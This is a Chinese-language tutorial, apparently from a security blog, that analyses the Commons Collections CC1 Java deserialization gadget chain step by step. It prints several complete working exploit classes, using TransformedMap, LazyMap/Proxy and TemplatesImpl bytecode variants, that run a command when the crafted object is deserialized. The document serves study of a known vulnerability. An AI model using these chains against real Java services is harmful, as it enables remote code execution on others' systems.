Java反序列化CC1链分析

CC1链 分析

环境要求:jdk8u65,Commons-Collections 3.2.1

  • 首先我们再次明确一下反序列化的攻击思路。

入口类这里,我们需要一个 readObject 方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下。

img

Common-Collections介绍

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

  • 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

终点-利用点

CC1链的源头就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法。

快捷键ctrl+alt+B,查看实现接口的类

我们这里找到了有重写transform方法的InvokerTransformer类,并且可以看到它也继承了Serializable,很符合我们的要求。

下面给出InvokerTransformer类的构造器和重写的transform方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class InvokerTransformer implements Transformer, Serializable {

/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;

private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}


public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

}

这边的参数都是可控的,同时重写的transform方法可以调用任意类的任意方法。

1
2
3
4
5
6
7
8
9
10
11
12
//这里我们回顾一下如何用反射调用Runtime的exec
Runtime r=Runtime.getRuntime();//Runtime.getRuntime() 是 Runtime 类中的一个静态方法,用来获取当前应用程序运行时的 Runtime 实例。
class c=r.getClass();
Method m=c.getMethod("exec",String.class);
m.invoke(r,"calc");

//接下来尝试用transform来调用
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(r);

//总结:比较上面两种方式,下面的transform相当于模拟了上述的反射过程。

这里成功执行了命令,那么现在我们已经寻到入口点了,接下来需要一步步回溯,寻找合适的子类,构造漏洞链,直到到达重写了readObject的类。

所以我们下一步的目标是去找调用 transform 方法的不同名函数。

构造链子第一步-寻找transform调用处

寻找哪些类中的哪些方法调用了transform方法

右键查看用法即可

那么我们这里直接看到我们需要的TransformedMap类下的checkSetValue方法

下面我们直接给出构造器和checkSetValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#TransformedMap.java   
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}//接受参数,实例化TransformedMap这个类

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}//接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}//返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象。相当于就是让这里的valueTransformer=invokerTransformer!!!

但是这里我们发现构造器和checkSetValue方法都是protected权限的,只能本类内部访问,无法外部调用和实例化,那么我们就需要找到内部实例化的工具。也就是上面的一个public静态方法decorate。

我们可以通过调用decorate方法来实例化TransformedMap类,然后再想办法调用checkSetValue方法。

1
2
3
4
5
6
7
8
9
10
11
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
//静态方法staic修饰直接类名+方法名调用
//把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer.
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(transformedmap,r);

构造链子第二步-寻找checkSetValue调用处

checkSetValue寻找用法,发现只有一处调用了checkSetValue(AbstractInputCheckedMapDecorator类的setValue)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法

而上面副类MapEntry实际上是重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法,

1
2
3
4
5
6
7
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {
...
protected final Map.Entry entry;
...
public Object setValue(Object object) {
return entry.setValue(object);
}

而这个类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法,然后水到渠成地调用checkSetValue方法:

1
2
3
4
5
6
7
8
9
10
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(r); <--- 相当于下面的代码是模拟这行代码,实现相同的功能
HashMap<Object,Object> map=new HashMap<>();
map.put("meteorkai","meteorkai"); //给map一个键值对,方便遍历
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
//后面是要调用checkSetValue方法,那么可以通过遍历Map来调用setValue方法,然后水到渠成调用checkSetValue方法
for(Map.Entry entry:transformedmap.entrySet()){//遍历Map常用格式
entry.setValue(r);//调用setValue方法,并把对象r当作对象传入
}

到这里我们先重头理一下:

首先,我们找到了TransformedMap这个类,我们需要调用它的checkSetValue方法从而来调用transform方法,但是这个类的构造器和checkSetValue方法都是protected权限,只能从类中访问,所以我们需要用decorate方法来实例化这个类。在此之前我们需要实例化一个hashmap,因为decorate方法中需要传入,并且调用put方法给他赋值以便他遍历map从而调用setValue方法。然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰巧又遇到了重写的setValue的副类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环。

但这只是一个小插曲,终究不是我们所希望的readObject方法,我们需要一个readObject方法来代替上述的遍历Map功能。

构造链子第三步-寻找setValue调用处-链首

如果能找到一个 readObject() 里面调用了 setValue() 就太好了

老样子,setValue寻找用法。我勒个豆,直接发现一个调用了setValue的readObject方法。很完美的实现了代替之前Map遍历功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
//接受两个参数,第一个是继承了注解的class,第二个是个Map,第二个参数我们可控,可以传入我们之前的transformedmap类
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}


private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

可以看到这个类中的memberValues是可控的,这样我们就看传入自己需要的,然后实现setValue方法。根据前面的entry.setValue,那么这里的memberValue就要相当于entry,memberValues就相当于是transformedmap。

但是这里有个问题,就是我们可以看到定义这个类的时候,并没有public之类的声明,那么说明这个类只能在本包下被调用(sun.reflect.annotation),我们想要在外部调用,就需要进行反射。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void main(String[] args) throws Exception {
Runtime r=Runtime.getRuntime();
InvokerTransformer invokertransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object,Object> map=new HashMap<>();
map.put("meteorkai","meteorkai");
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokertransformer);
/*for(Map.Entry entry:transformedmap.entrySet()) {
entry.setValue(r);
}*/
//反射获取AnnotationInvocationHandler类
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);//获取构造器
constructor.setAccessible(true);//修改作用域
Object o=constructor.newInstance(Override.class,transformedmap);//这里第一个是参数是注解的类原型,第二个就是我们之前的类
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

但是,当我们满怀期待执行这串代码时,并没有弹出计算器!其实这段代码还是存在很多缺陷的。我们往下分析

弥补链子缺陷

一、Runtime类不能序列化

我们跟进Runtime类可以发现他并没有继承serializable接口,不能进行序列化。

此时我们可以通过反射来获取Runtime类的原型类,它的原型类class是存在serializable接口的,Runtime.class 是可以序列化的。

那么我们如何获得一个实例化对象呢?可以看到这里存在一个静态的getRuntime()方法,会返回一个Runtime对象,相当于是一种单例模式。

1
2
3
4
5
Class rr=Class.forName("java.lang.Runtime");//获取类原型
Method getRuntime=rr.getDeclaredMethod("getRuntime",null);//获取getRuntime方法
Runtime r=(Runtime)getRuntime.invoke(null,null);//获取实例化对象,因为该方法为无参方法,所以全为null
Method exec=rr.getDeclaredMethod("exec",String.class);//获取exec方法
exec.invoke(r,"calc");//执行命令

上述这样就可以实现序列化,那么接下来我们用transform来实现

1
2
3
4
5
6
7
8
9
10
11
12
Class rr=Class.forName("java.lang.Runtime");

/*Method getRuntime= rr.getDeclaredMethod("getRuntime",null);
Runtime r=(Runtime) getRuntime.invoke(null,null);
Method exec=rr.getDeclaredMethod("exec", String.class);
exec.invoke(r,"calc");*/
//利用transform方法实现上述代码
Method getRuntime=(Method)new Invokertransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);//这里模拟获取getRuntime方法,它的具体操作步骤类似之前

Runtime r=(Runtime)new Invokertransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);//这里模拟获取invoke方法

new Invokertransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);//这里模拟获取exec方法,并进行命令执行

但是这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法

1
2
3
4
5
6
7
8
9
10
Class rr=Class.forName("java.lang.Runtime");
//创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
Transformer[] transformers=new Transformer[]{
new Invokertransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new Invokertransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new Invokertransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedtransformer=new Chainedtransformer(transformers);
chainedtransformer.transform(Runtime.class);

第一个问题-Runtime类不能序列化-成功解决,但依然没有弹出计算器。

不只一个问题。

二、绕过AnnotationInvocationHandler类readObject方法中的判断条件

这里存在两处判断需要绕过

1
2
if (memberType != null) {
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {

首先看第一个判断语句,是对memberType进行判断的。跟踪memberType,是从memberTypes来的,memberTypes又是从annotationType.memberTypes();来的,而annotationType又是从annotationType = AnnotationType.getInstance(type);来的。

那么其实就是从type来的。

type其实是从构造器传参来的

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

再回头看我们对构造器的传参,发现type对应Override.class,这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解是没有成员变量的

1
Object o=constructor.newInstance(Override.class,transformedmap);

而我们发现另一个注解:Target中有个名为value的成员变量,所以我们就可以使用这个注解,并改第一个键值对的值为value即可通过两个判断。

但是依然不能弹计算器。

三、checkSetValue传入值不是Runtime.class

我们可以发现readObject方法中setValue传入的参数并不是Runtime.class,而是一个奇奇怪怪的东西。

  • 我们这里找到了一个能够解决 setValue 可控参数的类 ———— ConstantTransformer

我们看到这个类里面也有transform,和构造器配合使用的话,我们传入什么值,就会返回某个值,这样就能将value的值转为Runtime.class

因此接下来给出我们的最终EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static void main(String[] args) throws Exception {
Class rr=Class.forName("java.lang.Runtime");
//创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),//这里解决问题三
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedtransformer=new ChainedTransformer(transformers);
//上述利用反射获取类原型+transformer数组+chainedtransformer遍历实现transform方法,来解决问题一中的无法序列化问题。
HashMap<Object,Object> map=new HashMap<>();
map.put("value","value");//这里是问题二中改键值对的值为注解中成员变量的名称,通过if判断
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedtransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transformedmap);//这里是问题二中第一个参数改注解为Target
// serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

成功弹出计算器。

接下来叙述一下整条cc1链的流程

正版CC1链分析-lazyMap

终点-利用点-exec方法

漏洞点与上面一样,还是InvokerTransformer

在InvokerTransformer#transform下寻找用法

LazyMap的get方法调用了transform方法且get方法的作用域为public

1
factory.transform

那么我们看看factory是什么

可以知道factory是LazyMap构造器的参数,同时我们可以通过decorate来new一个LazyMap对象,factory是可以由我们自己决定的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.util.Map;

public class cc1_lazymap {
public static void main(String[] args) throws Exception {
Runtime runtime=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashmap=new HashMap<>();
Map decoratemap=LazyMap.decorate(hashmap,invokerTransformer);
Class<LazyMap> lazymapclass=LazyMap.class;
Method lazygetmethod=lazymapclass.getDeclaredMethod("get",Object.class);
lazygetmethod.setAccessible(true);
lazygetmethod.invoke(decoratemap,runtime);
}
}
  • 目前证明这条链是可行的,我们继续往上走,最终目标是找到入口类的 readObject 方法。

然后我们的目标就是找谁调用了get方法

最终在 AnnotationInvocationHandler.invoke() 方法中找到了有一个地方调用了 get() 方法。

这里其实可以类比成让memberValues为LazyMap即可。

同时这个类也非常好,它里面有 readObject() 方法,可以作为我们的入口类。

那么接下来我们要关注的就是如何触发invoke()方法

需要触发 invoke 方法,马上想到动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。我们去找一找能利用的地方

在这里调用了 entrySet() 方法,也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用。membervalues是构造器需要传入的参数。

那么这里就是要先让membervalues为lazymap再设置动态代理。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class lazymap_zong {
public static void main(String[] args)throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object>hashmap=new HashMap<>();
Map decorateMap= LazyMap.decorate(hashmap,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler annotationinvocationhandler=(InvocationHandler) constructor.newInstance(Override.class,decorateMap);
Map proxymap=(Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},annotationinvocationhandler);
annotationinvocationhandler=(InvocationHandler)constructor.newInstance(Override.class,proxymap);
serialize(annotationinvocationhandler);
unserialize("ser.bin");
}

public static void serialize(Object obj)throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}

public static Object unserialize(String name) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(Files.newInputStream(Paths.get(name)));
Object obj=ois.readObject();
return obj;
}

}

链子整理

1
2
3
4
5
6
7
8
9
10
调用链
Invokertransformer#transform
LazyMap#get
Annotationinvocationhandler#readObject

辅助链
ChainedTransformer
ConstantTransformer
HashMap
Map(Proxy)#entrySet

这里直接借用别人的流程图吧

img

CC1 链的 TemplatesImpl 的实现方式

cc3中得到的思路

TemplatesImpl 只是将原本的命令执行变成代码执行的方式所以在不考虑黑名单的情况下,如果可以进行命令执行,则一定可以通过动态加载字节码进行代码执行。

  • 如图,链子不变,只是最后的命令执行方式变了。

img

所以这里我们先尝试修改命令执行的方法,这时候的链子应该是从后往前的,也就是确定了命令执行的方式之后,将传参设置为动态加载的字节码。并且前面的链子不变。

暂时的 EXP 是这样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class templatesImpldynamicclass {
public static void main(String[] args)throws Exception {

TemplatesImpl templates=new TemplatesImpl();
Class templateClass=templates.getClass();
Field nameField=templateClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Meteor");

Field bytecodesfield=templateClass.getDeclaredField("_bytecodes");
bytecodesfield.setAccessible(true);
byte[] evil= Files.readAllBytes(Paths.get("D:\\code\\calc.class"));
byte[][] codes={evil};
bytecodesfield.set(templates,codes);

Field tfactoryfield=templateClass.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
chainedTransformer.transform(1);

}
}

最后一句,传入 chainedTransformer.transform(1) 是因为前面我们定义了 new ConstantTransformer(templates),这个类是需要我们传参的,传入 1 即可。

  • OK,弹计算器成功,接下来是把 CC1 链的前半部分拿进去。

完整的 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class templatesImpldynamicclass {
public static void main(String[] args)throws Exception {

TemplatesImpl templates=new TemplatesImpl();
Class templateClass=templates.getClass();
Field nameField=templateClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Meteor");

Field bytecodesfield=templateClass.getDeclaredField("_bytecodes");
bytecodesfield.setAccessible(true);
byte[] evil= Files.readAllBytes(Paths.get("D:\\code\\calc.class"));
byte[][] codes={evil};
bytecodesfield.set(templates,codes);

Field tfactoryfield=templateClass.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
// chainedTransformer.transform(1);

HashMap<Object,Object> map=new HashMap<>();
map.put("value","value");//这里是问题二中改键值对的值为注解中成员变量的名称,通过if判断
Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transformedmap);//这里是问题二中第一个参数改注解为Target
serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

}
  • 然后是 Yso 正版链子的 TemplatesImpl 的实现方式。

EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class ysotemplate {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "Meteor");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\code\\calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates, codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates), // 构造 setValue 的可控参数
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

serialize(invocationHandler);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}


}